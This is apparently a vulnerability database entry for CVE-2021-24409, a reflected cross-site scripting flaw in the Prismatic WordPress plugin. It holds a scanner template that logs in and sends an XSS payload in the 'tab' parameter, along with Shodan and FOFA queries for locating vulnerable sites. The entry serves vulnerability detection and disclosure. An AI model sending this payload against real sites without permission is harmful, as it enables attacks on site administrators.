CVE-2021-24409: Prismatic < 2.8 - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: Prismatic | POC: 已公开

漏洞描述

The plugin does not escape the 'tab' GET parameter before outputting it back in an attribute, leading to a reflected Cross-Site Scripting issue which will be executed in the context of a logged in administrator

PoC代码[已公开]

id: CVE-2021-24409

info:
  name: Prismatic < 2.8 - Cross-Site Scripting
  author: Harsh
  severity: medium
  description: |
    The plugin does not escape the 'tab' GET parameter before outputting it back in an attribute, leading to a reflected Cross-Site Scripting issue which will be executed in the context of a logged in administrator
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access, data theft, or session hijacking.
  remediation: Fixed in version 2.8
  reference:
    - https://wpscan.com/vulnerability/ae3cd3ed-aecd-4d8c-8a2b-2936aaaef0cf
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24409
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24409
    cwe-id: CWE-79
    epss-score: 0.13254
    epss-percentile: 0.93924
    cpe: cpe:2.3:a:plugin-planet:prismatic:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: plugin-planet
    product: prismatic
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/prismatic
    fofa-query: body=/wp-content/plugins/prismatic
    publicwww-query: "/wp-content/plugins/prismatic"
  tags: cve2021,cve,wpscan,wordpress,wp,wp-plugin,xss,prismatic,authenticated,plugin-planet

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/options-general.php?page=prismatic&tab=%22+style%3Danimation-name%3Arotation+onanimationend%3Dalert(document.domain)%2F%2F%22 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - 'contains(body_2, "Leave A Review?")'
          - 'contains(body_2, "onanimationend=alert(document.domain)")'
        condition: and
# digest: 4a0a00473045022002d81f778fcab11c7efcbcc51df0d419d6209606cdc7815d272c4b1b9ff91db1022100d0739a2a8586ba6db01f9767ebbb7fe01bb5473bf534fc4dd21f1a8b3af7f99e:922c64590222798bb761d5b6d8e72950